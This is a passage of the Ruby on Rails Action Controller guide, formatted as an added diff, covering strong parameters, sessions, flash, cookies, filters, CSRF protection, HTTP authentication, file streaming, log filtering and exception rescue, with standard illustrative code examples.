+To declare that the value in `params` must be an array of permitted
+scalar values, map the key to an empty array:
+
+```ruby
+params.permit(id: [])
+```
+
+Sometimes it is not possible or convenient to declare the valid keys of
+a hash parameter or its internal structure. Just map to an empty hash:
+
+```ruby
+params.permit(preferences: {})
+```
+
+but be careful because this opens the door to arbitrary input. In this
+case, `permit` ensures values in the returned structure are permitted
+scalars and filters out anything else.
+
+To whitelist an entire hash of parameters, the `permit!` method can be
+used:
+
+```ruby
+params.require(:log_entry).permit!
+```
+
+This marks the `:log_entry` parameters hash and any sub-hash of it as
+permitted and does not check for permitted scalars, anything is accepted.
+Extreme care should be taken when using `permit!`, as it will allow all current
+and future model attributes to be mass-assigned.
+
+#### Nested Parameters
+
+You can also use `permit` on nested parameters, like:
+
+```ruby
+params.permit(:name, { emails: [] },
+              friends: [ :name,
+                         { family: [ :name ], hobbies: [] }])
+```
+
+This declaration whitelists the `name`, `emails`, and `friends`
+attributes. It is expected that `emails` will be an array of permitted
+scalar values, and that `friends` will be an array of resources with
+specific attributes: they should have a `name` attribute (any
+permitted scalar values allowed), a `hobbies` attribute as an array of
+permitted scalar values, and a `family` attribute which is restricted
+to having a `name` (any permitted scalar values allowed here, too).
+
+#### More Examples
+
+You may want to also use the permitted attributes in your `new`
+action. This raises the problem that you can't use `require` on the
+root key because, normally, it does not exist when calling `new`:
+
+```ruby
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+```
+
+The model class method `accepts_nested_attributes_for` allows you to
+update and destroy associated records. This is based on the `id` and `_destroy`
+parameters:
+
+```ruby
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+```
+
+Hashes with integer keys are treated differently, and you can declare
+the attributes as if they were direct children. You get these kinds of
+parameters when you use `accepts_nested_attributes_for` in combination
+with a `has_many` association:
+
+```ruby
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+#                                        "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+```
+
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all of your
+whitelisting problems. However, you can easily mix the API with your
+own code to adapt to your situation.
+
+Imagine a scenario where you have parameters representing a product
+name and a hash of arbitrary data associated with that product, and
+you want to whitelist the product name attribute and also the whole
+data hash. The strong parameters API doesn't let you directly
+whitelist the whole of a nested hash with any keys, but you can use
+the keys of your nested hash to declare what to whitelist:
+
+```ruby
+def product_params
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+```
+
+Session
+-------
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
+* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
+* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
+* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).
+
+The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+
+Read more about session storage in the [Security Guide](security.html).
+
+If you need a different session storage mechanism, you can change it in an initializer:
+
+```ruby
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# Rails.application.config.session_store :active_record_store
+```
+
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in an initializer:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+```
+
+You can also pass a `:domain` key and specify the domain name for the cookie:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+```
+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
+
+```ruby
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rails secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+```
+
+NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+
+### Accessing the Session
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+```ruby
+class ApplicationController < ActionController::Base
+
+  private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by(id: session[:current_user_id])
+  end
+end
+```
+
+To store something in the session, just assign it to the key like a hash:
+
+```ruby
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+```
+
+To remove something from the session, assign that key to be `nil`:
+
+```ruby
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+```
+
+To reset the entire session, use `reset_session`.
+
+### The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
+
+It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+
+Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+```ruby
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out."
+    redirect_to root_url
+  end
+end
+```
+
+Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+
+```ruby
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+```
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
+
+```erb
+<html>
+  <!-- <head/> -->
+  <body>
+    <% flash.each do |name, msg| -%>
+      <%= content_tag :div, msg, class: name %>
+    <% end -%>
+
+    <!-- more content -->
+  </body>
+</html>
+```
+
+This way, if an action sets a notice or an alert message, the layout will display it automatically.
+
+You can pass anything that the session can store; you're not limited to notices and alerts:
+
+```erb
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
+```
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+```ruby
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value.
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+```
+
+#### `flash.now`
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+```ruby
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render action: "new"
+    end
+  end
+end
+```
+
+Cookies
+-------
+
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
+
+```ruby
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.author
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+```
+
+Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+
+Rails also provides a signed cookie jar and an encrypted cookie jar for storing
+sensitive data. The signed cookie jar appends a cryptographic signature on the
+cookie values to protect their integrity. The encrypted cookie jar encrypts the
+values in addition to signing them, so that they cannot be read by the end user.
+Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
+
+These special cookie jars use a serializer to serialize the assigned values into
+strings and deserializes them into Ruby objects on read.
+
+You can specify what serializer to use:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :json
+```
+
+The default serializer for new applications is `:json`. For compatibility with
+old applications with existing cookies, `:marshal` is used when `serializer`
+option is not specified.
+
+You may also set this option to `:hybrid`, in which case Rails would transparently
+deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
+the `JSON` format. This is useful for migrating existing applications to the
+`:json` serializer.
+
+It is also possible to pass a custom serializer that responds to `load` and
+`dump`:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+```
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+Rendering XML and JSON data
+---------------------------
+
+ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this:
+
+```ruby
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render xml: @users}
+      format.json { render json: @users}
+    end
+  end
+end
+```
+
+You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
+
+Filters
+-------
+
+Filters are methods that are run "before", "after" or "around" a controller action.
+
+Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
+
+"before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+end
+```
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.
+
+In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`:
+
+```ruby
+class LoginsController < ApplicationController
+  skip_before_action :require_login, only: [:new, :create]
+end
+```
+
+Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to skip this filter only for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+NOTE: Calling the same filter multiple times with different options will not work,
+since the last filter definition will overwrite the previous ones.
+
+### After Filters and Around Filters
+
+In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
+
+"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. Please note that "after" filters are executed only after a successful action, but not when an exception is raised in the request cycle.
+
+"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+
+For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+
+```ruby
+class ChangesController < ApplicationController
+  around_action :wrap_in_transaction, only: :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+```
+
+Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+
+You can choose not to yield and build the response yourself, in which case the action will not be run.
+
+### Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *\_action methods. The block receives the controller as an argument. The `require_login` filter from above could be rewritten to use a block:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action do |controller|
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
+  end
+end
+```
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action LoginFilter
+end
+
+class LoginFilter
+  def self.before(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+```
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
+
+Request Forgery Protection
+--------------------------
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+```erb
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+```
+
+You will see how the token gets added as a hidden field:
+
+```html
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+```
+
+Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+The Request and Response Objects
+--------------------------------
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `ActionDispatch::Request` and the `response` method returns a response object representing what is going to be sent back to the client.
+
+### The `request` Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Request). Among the properties that you can access on this object are:
+
+| Property of `request`                     | Purpose                                                                          |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| host                                      | The hostname used for this request.                                              |
+| domain(n=2)                               | The hostname's first `n` segments, starting from the right (the TLD).            |
+| format                                    | The content type requested by the client.                                        |
+| method                                    | The HTTP method used for the request.                                            |
+| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.               |
+| headers                                   | Returns a hash containing the headers associated with the request.               |
+| port                                      | The port number (integer) used for the request.                                  |
+| protocol                                  | Returns a string containing the protocol used plus "://", for example "http://". |
+| query_string                              | The query string part of the URL, i.e., everything after "?".                    |
+| remote_ip                                 | The IP address of the client.                                                    |
+| url                                       | The entire URL used for the request.                                             |
+
+#### `path_parameters`, `query_parameters`, and `request_parameters`
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+### The `response` Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Response).
+
+| Property of `response` | Purpose                                                                                             |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| body                   | This is the string of data being sent back to the client. This is most often HTML.                  |
+| status                 | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| location               | The URL the client is being redirected to, if any.                                                  |
+| content_type           | The content type of the response.                                                                   |
+| charset                | The character set being used for the response. Default is "utf-8".                                  |
+| headers                | Headers used for the response.                                                                      |
+
+#### Setting Custom Headers
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
+
+```ruby
+response.headers["Content-Type"] = "application/pdf"
+```
+
+Note: in the above case it would make more sense to use the `content_type` setter directly.
+
+HTTP Authentications
+--------------------
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+### HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
+
+```ruby
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+```
+
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+### HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
+
+```ruby
+class AdminsController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_action :authenticate
+
+  private
+
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+```
+
+As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
+
+Streaming and File Downloads
+----------------------------
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+```ruby
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+```
+
+The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
+
+### Sending Files
+
+If you want to send a file that already exists on disk, use the `send_file` method.
+
+```ruby
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+```
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+### RESTful Downloads
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+```ruby
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+```
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+```ruby
+Mime::Type.register "application/pdf", :pdf
+```
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+```bash
+GET /clients/1.pdf
+```
+
+### Live Streaming of Arbitrary Data
+
+Rails allows you to stream more than just files. In fact, you can stream anything
+you would like in a response object. The `ActionController::Live` module allows
+you to create a persistent connection with a browser. Using this module, you will
+be able to send arbitrary data to the browser at specific points in time.
+
+
+#### Incorporating Live Streaming
+
+Including `ActionController::Live` inside of your controller class will provide
+all actions inside of the controller the ability to stream data. You can mix in
+the module like so:
+
+```ruby
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+```
+
+The above code will keep a persistent connection with the browser and send 100
+messages of `"hello world\n"`, each one second apart.
+
+There are a couple of things to notice in the above example. We need to make
+sure to close the response stream. Forgetting to close the stream will leave
+the socket open forever. We also have to set the content type to `text/event-stream`
+before we write to the response stream. This is because headers cannot be written
+after the response has been committed (when `response.committed?` returns a truthy
+value), which occurs when you `write` or `commit` the response stream.
+
+#### Example Usage
+
+Let's suppose that you were making a Karaoke machine and a user wants to get the
+lyrics for a particular song. Each `Song` has a particular number of lines and
+each line takes time `num_beats` to finish singing.
+
+If we wanted to return the lyrics in Karaoke fashion (only sending the line when
+the singer has finished the previous line), then we could use `ActionController::Live`
+as follows:
+
+```ruby
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers['Content-Type'] = 'text/event-stream'
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+```
+
+The above code sends the next line only after the singer has completed the previous
+line.
+
+#### Streaming Considerations
+
+Streaming arbitrary data is an extremely powerful tool. As shown in the previous
+examples, you can choose when and what to send across a response stream. However,
+you should also note the following things:
+
+* Each response stream creates a new thread and copies over the thread local
+  variables from the original thread. Having too many thread local variables can
+  negatively impact performance. Similarly, a large number of threads can also
+  hinder performance.
+* Failing to close the response stream will leave the corresponding socket open
+  forever. Make sure to call `close` whenever you are using a response stream.
+* WEBrick servers buffer all responses, and so including `ActionController::Live`
+  will not work. You must use a web server which does not automatically buffer
+  responses.
+
+Log Filtering
+-------------
+
+Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.
+
+### Parameters Filtering
+
+You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+```ruby
+config.filter_parameters << :password
+```
+
+NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`.
+
+### Redirects Filtering
+
+Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to.
+You can do that by using the `config.filter_redirect` configuration option:
+
+```ruby
+config.filter_redirect << 's3.amazonaws.com'
+```
+
+You can set it to a String, a Regexp, or an array of both.
+
+```ruby
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+```
+
+Matching URLs will be marked as '[FILTERED]'.
+
+Rescue
+------
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
+
+Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+### The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.
+
+### `rescue_from`
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
+
+Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
+end
+```
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_back(fallback_location: root_path)
+    end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_action :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+    # If the user is not authorized, just throw the exception.
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+```
+
+WARNING: Using `rescue_from` with `Exception` or `StandardError` would cause serious side-effects as it prevents Rails from handling exceptions properly. As such, it is not recommended to do so unless there is a strong reason.
+
+NOTE: When running in the production environment, all
+`ActiveRecord::RecordNotFound` errors render the 404 error page. Unless you need
+a custom behavior you don't need to handle this.
+
+NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed.
+
+Force HTTPS protocol
+--------------------
+
